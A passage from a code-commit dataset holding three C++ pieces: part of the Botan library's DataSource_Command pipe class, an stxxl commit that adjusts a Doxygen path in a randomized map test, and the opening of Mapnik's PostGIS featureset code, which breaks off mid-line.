0;\n }\n\n return static_cast<u32bit>(got);\n }\n\n\/**\n* Peek at the pipe contents\n*\/\nu32bit DataSource_Command::peek(byte[], u32bit, u32bit) const\n {\n if(end_of_data())\n throw Invalid_State(\"DataSource_Command: Cannot peek when out of data\");\n throw Stream_IO_Error(\"Cannot peek\/seek on a command pipe\");\n }\n\n\/**\n* Check if we reached EOF\n*\/\nbool DataSource_Command::end_of_data() const\n {\n return (pipe) ? false : true;\n }\n\n\/**\n* Return the Unix file descriptor of the pipe\n*\/\nint DataSource_Command::fd() const\n {\n if(!pipe)\n return -1;\n return pipe->fd;\n }\n\n\/**\n* Return a human-readable ID for this stream\n*\/\nstd::string DataSource_Command::id() const\n {\n return \"Unix command: \" + arg_list[0];\n }\n\n\/**\n* Create the pipe\n*\/\nvoid DataSource_Command::create_pipe(const std::vector<std::string>& paths)\n {\n bool found_something = false;\n for(u32bit j = 0; j != paths.size(); j++)\n {\n const std::string full_path = paths[j] + \"\/\" + arg_list[0];\n if(::access(full_path.c_str(), X_OK) == 0)\n {\n found_something = true;\n break;\n }\n }\n if(!found_something)\n return;\n\n int pipe_fd[2];\n if(::pipe(pipe_fd) != 0)\n return;\n\n pid_t pid = ::fork();\n\n if(pid == -1)\n {\n ::close(pipe_fd[0]);\n ::close(pipe_fd[1]);\n }\n else if(pid > 0)\n {\n pipe = new pipe_wrapper(pipe_fd[0], pid);\n ::close(pipe_fd[1]);\n }\n else\n {\n if(dup2(pipe_fd[1], STDOUT_FILENO) == -1)\n ::exit(127);\n if(close(pipe_fd[0]) != 0 || close(pipe_fd[1]) != 0)\n ::exit(127);\n if(close(STDERR_FILENO) != 0)\n ::exit(127);\n\n do_exec(arg_list, paths);\n ::exit(127);\n }\n }\n\n\/**\n* Shutdown the pipe\n*\/\nvoid DataSource_Command::shutdown_pipe()\n {\n if(pipe)\n {\n pid_t reaped = waitpid(pipe->pid, 0, WNOHANG);\n\n if(reaped == 0)\n {\n kill(pipe->pid, SIGTERM);\n\n struct ::timeval tv;\n tv.tv_sec = 0;\n tv.tv_usec = KILL_WAIT;\n select(0, 0, 0, 0, &tv);\n\n reaped = ::waitpid(pipe->pid, 0, WNOHANG);\n\n if(reaped == 0)\n {\n ::kill(pipe->pid, SIGKILL);\n do\n reaped = ::waitpid(pipe->pid, 0, 0);\n while(reaped == -1);\n }\n }\n\n delete pipe;\n pipe = 0;\n }\n }\n\n\/**\n* DataSource_Command Constructor\n*\/\nDataSource_Command::DataSource_Command(const std::string& prog_and_args,\n const std::vector<std::string>& paths) :\n MAX_BLOCK_USECS(100000), KILL_WAIT(10000)\n {\n arg_list = split_on(prog_and_args, ' ');\n\n if(arg_list.size() == 0)\n throw Invalid_Argument(\"DataSource_Command: No command given\");\n if(arg_list.size() > 5)\n throw Invalid_Argument(\"DataSource_Command: Too many args\");\n\n pipe = 0;\n create_pipe(paths);\n }\n\n\/**\n* DataSource_Command Destructor\n*\/\nDataSource_Command::~DataSource_Command()\n {\n if(!end_of_data())\n shutdown_pipe();\n }\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************************\n test_map_random.cpp - description\n -------------------\n begin : Mon Feb 14 2005\n copyright : (C) 2005 by Thomas Nowak\n email : t.nowak@imail.de\n\t\n\t fixed by \t\t\t\t\t : Roman Dementiev (01.03.2006)\n ***************************************************************************\/\n\n\/\/! \\file containers\/test_map_random.cpp\n\/\/! \\brief File for testing functionality of stxxl::map.\n\n#include <stxxl>\n#include \"map_test_handlers.h\"\n\n\n\/\/! \\example containers\/map\/test_map_random.cpp\n\/\/! This is an example of use of \\c stxxl::map container.\n\ntypedef int key_type;\ntypedef int data_type;\n\nstruct cmp2 : public std::less<int>\n{\n\tstatic int max_value() { return (std::numeric_limits<int>::max)(); }\n};\n\n#define DATA_NODE_BLOCK_SIZE (4096)\n#define DATA_LEAF_BLOCK_SIZE (4096)\n\ntypedef std::map<key_type,data_type,cmp2>\t\t\t\t\tstd_map_type;\ntypedef stxxl::map<key_type,data_type,cmp2,\n\t\t\t\t\t\t\tDATA_NODE_BLOCK_SIZE,DATA_LEAF_BLOCK_SIZE >\txxl_map_type;\n\n#define PERCENT_CLEAR 1\n#define PERCENT_ERASE_BULK 9\n#define PERCENT_ERASE_KEY 90\n#define PERCENT_ERASE_ITERATOR 100\n#define PERCENT_INSERT_PAIR 100\n#define PERCENT_INSERT_BULK 100\n#define PERCENT_SIZING 100\n#define PERCENT_LOWER 100\n#define PERCENT_UPPER 200\n#define PERCENT_FIND 100\n#define PERCENT_ITERATOR 100\n\n\n\/\/#define MAX_KEY 1000\n#define MAX_KEY 10000\n\n\/\/#define MAX_STEP 0x0001000\n\n#define NODE_BLOCK_SIZE xxl_map_type::node_block_type::raw_size\n#define LEAF_BLOCK_SIZE xxl_map_type::leaf_block_type::raw_size\n#define NODE_MELEMENTS xxl_map_type::node_block_type::size\n#define LEAF_MELEMENTS xxl_map_type::leaf_block_type::size\n\nint main( int argc, char* argv[] )\n{\n#ifdef NDEBUG\n\tSTXXL_MSG(\"Program is compiled with NDEBUG option, which makes the testing wrong.\")\n\treturn 1;\n#endif\n\n\ttypedef std::vector<std::pair<key_type,data_type> > vector_type;\n\t\n\tSTXXL_MSG(\"Node block size: \"<<NODE_BLOCK_SIZE<<\" bytes\")\n\tSTXXL_MSG(\"Leaf block size: \"<<LEAF_BLOCK_SIZE<<\" bytes\")\n\tSTXXL_MSG(\"Node max elements: \"<<NODE_MELEMENTS)\n\tSTXXL_MSG(\"Leaf max elements: \"<<LEAF_MELEMENTS)\n\n\tstxxl::random_number32 rnd;\n\t\/\/stxxl::ran32State = 1141225706;\n\tSTXXL_MSG(\"Init random seed: \"<<stxxl::ran32State)\n\t\n\tint a = (PERCENT_CLEAR +\n\t\t\tPERCENT_SIZING +\n\t\t\tPERCENT_ERASE_BULK +\n\t\t\tPERCENT_ERASE_KEY +\n\t\t\tPERCENT_ERASE_ITERATOR +\n\t\t\tPERCENT_INSERT_PAIR +\n\t\t\tPERCENT_INSERT_BULK +\n\t\t\tPERCENT_LOWER +\n\t\t\tPERCENT_UPPER +\n\t\t\tPERCENT_FIND +\n\t\t\tPERCENT_ITERATOR);\n\t\n\tassert(a == 1000);\n\n\tif(argc < 2)\n\t{\n\t\tSTXXL_MSG(\"Usage: \"<<argv[0]<<\" STEP \")\n\t\tSTXXL_MSG(\"Note, that STEP must be > 1000\")\n\t\treturn 0;\n\t}\n \tstxxl::uint64 MAX_STEP = atoi( argv[1] );\n\tassert(MAX_STEP > 1000);\n\tstd_map_type stdmap;\n\txxl_map_type xxlmap(NODE_BLOCK_SIZE*4,LEAF_BLOCK_SIZE*3);\n\n\tfor( stxxl::uint64 i = 0; i < MAX_STEP; i++ )\n\t{\n\n\t\t\/\/ ***************************************************\n\t\t\/\/ A random number is created to determine which kind\n\t\t\/\/ of operation we will be called.\n\t\t\/\/ ***************************************************\n\n\t\tlong step = rnd() % 1000;\n\t\tint percent = 0;\n\n\t\tif( i % (MAX_STEP\/1000) == 0 )\n\t\t{\n\t\t\tSTXXL_MSG( \"*****************************************************\" );\n\t\t\tSTXXL_MSG( \"Step=\" << i << \" (\" << (unsigned) stdmap.size() << \")\" );\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The clear function will be called\n\t\t\/\/ *********************************************************\n\t\tif( step < (percent += PERCENT_CLEAR) )\n\t\t{\n\t\t\tif( (unsigned) rand() % 1000 < stdmap.size() )\n\t\t\t{\n\t\t\t\tstdmap.clear();\n\t\t\t\txxlmap.clear();\n\n\t\t\t\tassert( stdmap.empty() );\n\t\t\t\tassert( xxlmap.empty() );\n\t\t\t}\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The size function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_SIZING) )\n\t\t{\n\t\t\tstd_map_type::size_type size1 = stdmap.size();\n\t\t\txxl_map_type::size_type size2 = xxlmap.size();\n\n\t\t\tassert( size1 == size2 );\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The erase range function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_ERASE_BULK) )\n\t\t{\n\t\t\tkey_type key1 = rand() % MAX_KEY;\n\t\t\tkey_type key2 = rand() % MAX_KEY;\n\n\t\t\tif( key1 > key2 )\n\t\t\t{\n\t\t\t\tstd::swap(key1,key2);\n\t\t\t}\n\t\t\t\n\t\t\tstdmap.erase( stdmap.lower_bound(key1), stdmap.upper_bound(key2) );\n\t\t\txxlmap.erase( xxlmap.lower_bound(key1), xxlmap.upper_bound(key2) );\n\t\t\t\n\t\t\tassert(stdmap.size() == xxlmap.size());\n\t\t\t\n\t\t\tassert( stdmap.lower_bound( key1 ) == stdmap.end() || \n\t\t\t\tstdmap.lower_bound( key1 ) == stdmap.upper_bound(key2) );\n\t\t\tassert( xxlmap.lower_bound( key1 ) == xxlmap.end() || \n\t\t\t\txxlmap.lower_bound( key1 ) == xxlmap.upper_bound(key2) );\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The erase a key function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_ERASE_KEY) )\n\t\t{ \n\t\t\tkey_type key = rnd() % MAX_KEY;\t\n\t\t\t\n\t\t\tstdmap.erase( key );\n\t\t\txxlmap.erase( key );\n\n\t\t\tassert( not_there( stdmap, key ));\n\t\t\tassert( not_there( xxlmap, key )); \n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The erase function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_ERASE_ITERATOR) )\n\t\t{ \n\t\t\tkey_type key = rnd() % MAX_KEY;\n\n\t\t\tstd_map_type::iterator stditer = stdmap.find( key );\n\t\t\txxl_map_type::iterator xxliter = xxlmap.find( key );\n\n\t\t\tassert(is_end(stdmap,stditer) == is_end(xxlmap,xxliter));\n\t\t\t\n\t\t\tif( stditer != stdmap.end() ) stdmap.erase( stditer );\n\t\t\tif( xxliter != xxlmap.end() ) xxlmap.erase( xxliter );\n\n\t\t\tassert( not_there( stdmap, key ));\n\t\t\tassert( not_there( xxlmap, key )); \n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The insert function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_INSERT_PAIR) )\n\t\t{\n\t\t\tkey_type key = rnd() % MAX_KEY;\n\t\t\tstdmap.insert( std::pair<key_type,data_type>( key, 2*key ) );\n\t\t\txxlmap.insert( std::pair<key_type,data_type>( key, 2*key ) );\n\n\t\t\tassert( there( stdmap, key, 2*key ));\n\t\t\tassert( there( xxlmap, key, 2*key ));\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The bulk insert function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_INSERT_BULK) )\n\t\t{\n\t\t\tunsigned lower = rnd() % MAX_KEY;\n\t\t\tunsigned upper = rnd() % MAX_KEY;\n\t\t\tif( lower > upper )\n\t\t\t\tstd::swap(lower,upper);\n\t\t\t\n\t\t\tvector_type v2( upper-lower );\n\t\t\tfor( unsigned j = 0; j < (unsigned)(upper - lower); j++)\n\t\t\t{\n\t\t\t\tv2[j].first = lower + j;\n\t\t\t\tv2[j].second = 2*v2[j].first;\n\t\t\t}\n \n\t\t\tstdmap.insert( v2.begin(), v2.end() );\n\t\t\txxlmap.insert( v2.begin(), v2.end() );\n\n\t\t\tfor( unsigned i = lower; i < upper; i++ ) assert( there( stdmap, i, 2*i ));\n\t\t\tfor( unsigned i = lower; i < upper; i++ ) assert( there( xxlmap, i, 2*i ));\n\t\t\t\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The lower_bound function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_LOWER) )\n\t\t{\n\t\t\tkey_type key1 = rand() % MAX_KEY;\n\t\t\tkey_type key2 = rand() % MAX_KEY;\n\t\t\tif( key1 > key2 )\n\t\t\t{\n\t\t\t\tstd::swap(key1,key2);\n\t\t\t}\n\n\t\t\twhile( key1 < key2 )\n\t\t\t{\n\t\t\t\tstd_map_type::iterator stditer = stdmap.lower_bound(key1);\n\t\t\t\txxl_map_type::iterator xxliter = xxlmap.lower_bound(key1);\n\n\t\t\t\tassert(is_end(stdmap,stditer) == is_end(xxlmap,xxliter));\n\t\t\t\tif(!is_end(stdmap,stditer)) {\tassert(is_same( *(stditer), *(xxliter))); }\n\t\t\t\t\n\t\t\t\tkey1++;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The upper_bound function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_UPPER) )\n\t\t{\n\t\t\tkey_type key1 = rand() % MAX_KEY;\n\t\t\tkey_type key2 = rand() % MAX_KEY;\n\t\t\tif( key1 > key2 )\n\t\t\t{\n\t\t\t\tstd::swap(key1,key2);\n\t\t\t}\n\n\t\t\twhile( key1 < key2 )\n\t\t\t{\n\t\t\t\tstd_map_type::iterator stditer = stdmap.upper_bound(key1);\n\t\t\t\txxl_map_type::iterator xxliter = xxlmap.upper_bound(key1);\n\t\t\t\t\n\t\t\t\tassert(is_end(stdmap,stditer) == is_end(xxlmap,xxliter));\n\t\t\t\tif(!is_end(stdmap,stditer)) { assert( is_same( *(stditer), *(xxliter))); }\n\n\t\t\t\tkey1++;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The find function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_FIND) )\n\t\t{\n\t\t\tkey_type key1 = rand() % MAX_KEY;\n\t\t\tkey_type key2 = rand() % MAX_KEY;\n\t\t\tif( key1 > key2 )\n\t\t\t{\n\t\t\t\tstd::swap(key1,key2);\n\t\t\t}\n\n\t\t\twhile( key1 < key2 )\n\t\t\t{\n\t\t\t\tstd_map_type::iterator stditer = stdmap.find(key1);\n\t\t\t\txxl_map_type::iterator xxliter = xxlmap.find(key1);\n\n\t\t\t\tassert(is_end(stdmap,stditer) == is_end(xxlmap,xxliter));\n\t\t\t\tif(!is_end(stdmap,stditer)) { assert( is_same( *(stditer), *(xxliter))); }\n\n\t\t\t\tkey1++;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The iterate functions will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_ITERATOR) )\n\t\t{\n\t\t\tstd_map_type::const_iterator siter1 = stdmap.begin();\n\t\t\txxl_map_type::const_iterator xiter1 = xxlmap.begin();\n\n\t\t\tstd_map_type::const_iterator siter2 = siter1;\n\t\t\txxl_map_type::const_iterator xiter2 = xiter1;\n\n\t\t\twhile( siter1 != stdmap.end() )\n\t\t\t{\n\t\t\t\tassert( xiter1 != xxlmap.end() );\n\t\t\t\tassert( is_same( *(siter1++), *(xiter1++) ) );\n\t\t\t\tif(siter1 != stdmap.end()) { assert( !is_same( *siter1, *siter2 ) ); }\n\t\t\t\tif(xiter1 != xxlmap.end()) { assert( !is_same( *xiter1, *xiter2 ) ); }\n\t\t\t}\n\t\t\tassert( xiter1 == xxlmap.end() );\n\t\t\tassert( siter2 == stdmap.begin() );\n\t\t\tassert( xiter2 == xxlmap.begin() );\n\n\t\t}\n\t}\n\treturn 0;\n}\n<commit_msg>test file names in doxy are changed<commit_after>\/***************************************************************************\n test_map_random.cpp - description\n -------------------\n begin : Mon Feb 14 2005\n copyright : (C) 2005 by Thomas Nowak\n email : t.nowak@imail.de\n\t\n\t fixed by \t\t\t\t\t : Roman Dementiev (01.03.2006)\n ***************************************************************************\/\n\n\/\/! \\file containers\/test_map_random.cpp\n\/\/! \\brief File for testing functionality of stxxl::map.\n\n#include <stxxl>\n#include \"map_test_handlers.h\"\n\n\n\/\/! \\example containers\/test_map_random.cpp\n\/\/! This is an example of use of \\c stxxl::map container.\n\ntypedef int key_type;\ntypedef int data_type;\n\nstruct cmp2 : public std::less<int>\n{\n\tstatic int max_value() { return (std::numeric_limits<int>::max)(); }\n};\n\n#define DATA_NODE_BLOCK_SIZE (4096)\n#define DATA_LEAF_BLOCK_SIZE (4096)\n\ntypedef std::map<key_type,data_type,cmp2>\t\t\t\t\tstd_map_type;\ntypedef stxxl::map<key_type,data_type,cmp2,\n\t\t\t\t\t\t\tDATA_NODE_BLOCK_SIZE,DATA_LEAF_BLOCK_SIZE >\txxl_map_type;\n\n#define PERCENT_CLEAR 1\n#define PERCENT_ERASE_BULK 9\n#define PERCENT_ERASE_KEY 90\n#define PERCENT_ERASE_ITERATOR 100\n#define PERCENT_INSERT_PAIR 100\n#define PERCENT_INSERT_BULK 100\n#define PERCENT_SIZING 100\n#define PERCENT_LOWER 100\n#define PERCENT_UPPER 200\n#define PERCENT_FIND 100\n#define PERCENT_ITERATOR 100\n\n\n\/\/#define MAX_KEY 1000\n#define MAX_KEY 10000\n\n\/\/#define MAX_STEP 0x0001000\n\n#define NODE_BLOCK_SIZE xxl_map_type::node_block_type::raw_size\n#define LEAF_BLOCK_SIZE xxl_map_type::leaf_block_type::raw_size\n#define NODE_MELEMENTS xxl_map_type::node_block_type::size\n#define LEAF_MELEMENTS xxl_map_type::leaf_block_type::size\n\nint main( int argc, char* argv[] )\n{\n#ifdef NDEBUG\n\tSTXXL_MSG(\"Program is compiled with NDEBUG option, which makes the testing wrong.\")\n\treturn 1;\n#endif\n\n\ttypedef std::vector<std::pair<key_type,data_type> > vector_type;\n\t\n\tSTXXL_MSG(\"Node block size: \"<<NODE_BLOCK_SIZE<<\" bytes\")\n\tSTXXL_MSG(\"Leaf block size: \"<<LEAF_BLOCK_SIZE<<\" bytes\")\n\tSTXXL_MSG(\"Node max elements: \"<<NODE_MELEMENTS)\n\tSTXXL_MSG(\"Leaf max elements: \"<<LEAF_MELEMENTS)\n\n\tstxxl::random_number32 rnd;\n\t\/\/stxxl::ran32State = 1141225706;\n\tSTXXL_MSG(\"Init random seed: \"<<stxxl::ran32State)\n\t\n\tint a = (PERCENT_CLEAR +\n\t\t\tPERCENT_SIZING +\n\t\t\tPERCENT_ERASE_BULK +\n\t\t\tPERCENT_ERASE_KEY +\n\t\t\tPERCENT_ERASE_ITERATOR +\n\t\t\tPERCENT_INSERT_PAIR +\n\t\t\tPERCENT_INSERT_BULK +\n\t\t\tPERCENT_LOWER +\n\t\t\tPERCENT_UPPER +\n\t\t\tPERCENT_FIND +\n\t\t\tPERCENT_ITERATOR);\n\t\n\tassert(a == 1000);\n\n\tif(argc < 2)\n\t{\n\t\tSTXXL_MSG(\"Usage: \"<<argv[0]<<\" STEP \")\n\t\tSTXXL_MSG(\"Note, that STEP must be > 1000\")\n\t\treturn 0;\n\t}\n \tstxxl::uint64 MAX_STEP = atoi( argv[1] );\n\tassert(MAX_STEP > 1000);\n\tstd_map_type stdmap;\n\txxl_map_type xxlmap(NODE_BLOCK_SIZE*4,LEAF_BLOCK_SIZE*3);\n\n\tfor( stxxl::uint64 i = 0; i < MAX_STEP; i++ )\n\t{\n\n\t\t\/\/ ***************************************************\n\t\t\/\/ A random number is created to determine which kind\n\t\t\/\/ of operation we will be called.\n\t\t\/\/ ***************************************************\n\n\t\tlong step = rnd() % 1000;\n\t\tint percent = 0;\n\n\t\tif( i % (MAX_STEP\/1000) == 0 )\n\t\t{\n\t\t\tSTXXL_MSG( \"*****************************************************\" );\n\t\t\tSTXXL_MSG( \"Step=\" << i << \" (\" << (unsigned) stdmap.size() << \")\" );\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The clear function will be called\n\t\t\/\/ *********************************************************\n\t\tif( step < (percent += PERCENT_CLEAR) )\n\t\t{\n\t\t\tif( (unsigned) rand() % 1000 < stdmap.size() )\n\t\t\t{\n\t\t\t\tstdmap.clear();\n\t\t\t\txxlmap.clear();\n\n\t\t\t\tassert( stdmap.empty() );\n\t\t\t\tassert( xxlmap.empty() );\n\t\t\t}\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The size function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_SIZING) )\n\t\t{\n\t\t\tstd_map_type::size_type size1 = stdmap.size();\n\t\t\txxl_map_type::size_type size2 = xxlmap.size();\n\n\t\t\tassert( size1 == size2 );\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The erase range function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_ERASE_BULK) )\n\t\t{\n\t\t\tkey_type key1 = rand() % MAX_KEY;\n\t\t\tkey_type key2 = rand() % MAX_KEY;\n\n\t\t\tif( key1 > key2 )\n\t\t\t{\n\t\t\t\tstd::swap(key1,key2);\n\t\t\t}\n\t\t\t\n\t\t\tstdmap.erase( stdmap.lower_bound(key1), stdmap.upper_bound(key2) );\n\t\t\txxlmap.erase( xxlmap.lower_bound(key1), xxlmap.upper_bound(key2) );\n\t\t\t\n\t\t\tassert(stdmap.size() == xxlmap.size());\n\t\t\t\n\t\t\tassert( stdmap.lower_bound( key1 ) == stdmap.end() || \n\t\t\t\tstdmap.lower_bound( key1 ) == stdmap.upper_bound(key2) );\n\t\t\tassert( xxlmap.lower_bound( key1 ) == xxlmap.end() || \n\t\t\t\txxlmap.lower_bound( key1 ) == xxlmap.upper_bound(key2) );\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The erase a key function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_ERASE_KEY) )\n\t\t{ \n\t\t\tkey_type key = rnd() % MAX_KEY;\t\n\t\t\t\n\t\t\tstdmap.erase( key );\n\t\t\txxlmap.erase( key );\n\n\t\t\tassert( not_there( stdmap, key ));\n\t\t\tassert( not_there( xxlmap, key )); \n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The erase function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_ERASE_ITERATOR) )\n\t\t{ \n\t\t\tkey_type key = rnd() % MAX_KEY;\n\n\t\t\tstd_map_type::iterator stditer = stdmap.find( key );\n\t\t\txxl_map_type::iterator xxliter = xxlmap.find( key );\n\n\t\t\tassert(is_end(stdmap,stditer) == is_end(xxlmap,xxliter));\n\t\t\t\n\t\t\tif( stditer != stdmap.end() ) stdmap.erase( stditer );\n\t\t\tif( xxliter != xxlmap.end() ) xxlmap.erase( xxliter );\n\n\t\t\tassert( not_there( stdmap, key ));\n\t\t\tassert( not_there( xxlmap, key )); \n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The insert function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_INSERT_PAIR) )\n\t\t{\n\t\t\tkey_type key = rnd() % MAX_KEY;\n\t\t\tstdmap.insert( std::pair<key_type,data_type>( key, 2*key ) );\n\t\t\txxlmap.insert( std::pair<key_type,data_type>( key, 2*key ) );\n\n\t\t\tassert( there( stdmap, key, 2*key ));\n\t\t\tassert( there( xxlmap, key, 2*key ));\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The bulk insert function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_INSERT_BULK) )\n\t\t{\n\t\t\tunsigned lower = rnd() % MAX_KEY;\n\t\t\tunsigned upper = rnd() % MAX_KEY;\n\t\t\tif( lower > upper )\n\t\t\t\tstd::swap(lower,upper);\n\t\t\t\n\t\t\tvector_type v2( upper-lower );\n\t\t\tfor( unsigned j = 0; j < (unsigned)(upper - lower); j++)\n\t\t\t{\n\t\t\t\tv2[j].first = lower + j;\n\t\t\t\tv2[j].second = 2*v2[j].first;\n\t\t\t}\n \n\t\t\tstdmap.insert( v2.begin(), v2.end() );\n\t\t\txxlmap.insert( v2.begin(), v2.end() );\n\n\t\t\tfor( unsigned i = lower; i < upper; i++ ) assert( there( stdmap, i, 2*i ));\n\t\t\tfor( unsigned i = lower; i < upper; i++ ) assert( there( xxlmap, i, 2*i ));\n\t\t\t\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The lower_bound function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_LOWER) )\n\t\t{\n\t\t\tkey_type key1 = rand() % MAX_KEY;\n\t\t\tkey_type key2 = rand() % MAX_KEY;\n\t\t\tif( key1 > key2 )\n\t\t\t{\n\t\t\t\tstd::swap(key1,key2);\n\t\t\t}\n\n\t\t\twhile( key1 < key2 )\n\t\t\t{\n\t\t\t\tstd_map_type::iterator stditer = stdmap.lower_bound(key1);\n\t\t\t\txxl_map_type::iterator xxliter = xxlmap.lower_bound(key1);\n\n\t\t\t\tassert(is_end(stdmap,stditer) == is_end(xxlmap,xxliter));\n\t\t\t\tif(!is_end(stdmap,stditer)) {\tassert(is_same( *(stditer), *(xxliter))); }\n\t\t\t\t\n\t\t\t\tkey1++;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The upper_bound function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_UPPER) )\n\t\t{\n\t\t\tkey_type key1 = rand() % MAX_KEY;\n\t\t\tkey_type key2 = rand() % MAX_KEY;\n\t\t\tif( key1 > key2 )\n\t\t\t{\n\t\t\t\tstd::swap(key1,key2);\n\t\t\t}\n\n\t\t\twhile( key1 < key2 )\n\t\t\t{\n\t\t\t\tstd_map_type::iterator stditer = stdmap.upper_bound(key1);\n\t\t\t\txxl_map_type::iterator xxliter = xxlmap.upper_bound(key1);\n\t\t\t\t\n\t\t\t\tassert(is_end(stdmap,stditer) == is_end(xxlmap,xxliter));\n\t\t\t\tif(!is_end(stdmap,stditer)) { assert( is_same( *(stditer), *(xxliter))); }\n\n\t\t\t\tkey1++;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The find function will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_FIND) )\n\t\t{\n\t\t\tkey_type key1 = rand() % MAX_KEY;\n\t\t\tkey_type key2 = rand() % MAX_KEY;\n\t\t\tif( key1 > key2 )\n\t\t\t{\n\t\t\t\tstd::swap(key1,key2);\n\t\t\t}\n\n\t\t\twhile( key1 < key2 )\n\t\t\t{\n\t\t\t\tstd_map_type::iterator stditer = stdmap.find(key1);\n\t\t\t\txxl_map_type::iterator xxliter = xxlmap.find(key1);\n\n\t\t\t\tassert(is_end(stdmap,stditer) == is_end(xxlmap,xxliter));\n\t\t\t\tif(!is_end(stdmap,stditer)) { assert( is_same( *(stditer), *(xxliter))); }\n\n\t\t\t\tkey1++;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ *********************************************************\n\t\t\/\/ The iterate functions will be called\n\t\t\/\/ *********************************************************\n\t\telse if ( step < (percent += PERCENT_ITERATOR) )\n\t\t{\n\t\t\tstd_map_type::const_iterator siter1 = stdmap.begin();\n\t\t\txxl_map_type::const_iterator xiter1 = xxlmap.begin();\n\n\t\t\tstd_map_type::const_iterator siter2 = siter1;\n\t\t\txxl_map_type::const_iterator xiter2 = xiter1;\n\n\t\t\twhile( siter1 != stdmap.end() )\n\t\t\t{\n\t\t\t\tassert( xiter1 != xxlmap.end() );\n\t\t\t\tassert( is_same( *(siter1++), *(xiter1++) ) );\n\t\t\t\tif(siter1 != stdmap.end()) { assert( !is_same( *siter1, *siter2 ) ); }\n\t\t\t\tif(xiter1 != xxlmap.end()) { assert( !is_same( *xiter1, *xiter2 ) ); }\n\t\t\t}\n\t\t\tassert( xiter1 == xxlmap.end() );\n\t\t\tassert( siter2 == stdmap.begin() );\n\t\t\tassert( xiter2 == xxlmap.begin() );\n\n\t\t}\n\t}\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n\/\/$Id: postgisfs.cc 34 2005-04-04 13:27:23Z pavlenko $\n\n#include <boost\/algorithm\/string.hpp>\n#include <mapnik\/global.hpp>\n#include <mapnik\/wkb.hpp>\n#include <mapnik\/unicode.hpp>\n#include \"postgis.hpp\"\n\nusing boost::lexical_cast;\nusing boost::bad_lexical_cast;\nusing boost::trim;\nusing std::string;\n\npostgis_featureset::postgis_featureset(boost::shared_ptr<ResultSet> const& rs,\n std::string const& encoding,\n unsigned num_attrs=0)\n : rs_(rs),\n num_attrs_(num_attrs),\n totalGeomSize_(0),\n tr_(new transcoder(encoding)),\n count_(0) {}\n\nfeature_ptr postgis_featureset::next()\n{\n if (rs_->next())\n { \n feature_ptr feature(new Feature(count_));\n int size=rs_->getFieldLength(0);\n const char *data=rs_->getValue(0);\n geometry_ptr geom=geometry_utils::from_wkb(data,size,-1);\n totalGeomSize_+=size;\n\t \n if (geom)\n {\n feature->set_geometry(geom);\n \n for (unsigned pos=1;pos<num_attrs_+1;++pos)\n {\n std::string name = rs_->getFieldName(pos);\n const char* buf=rs_->getValue(pos);\n int oid = rs_->getTypeOID(pos);\n \n if 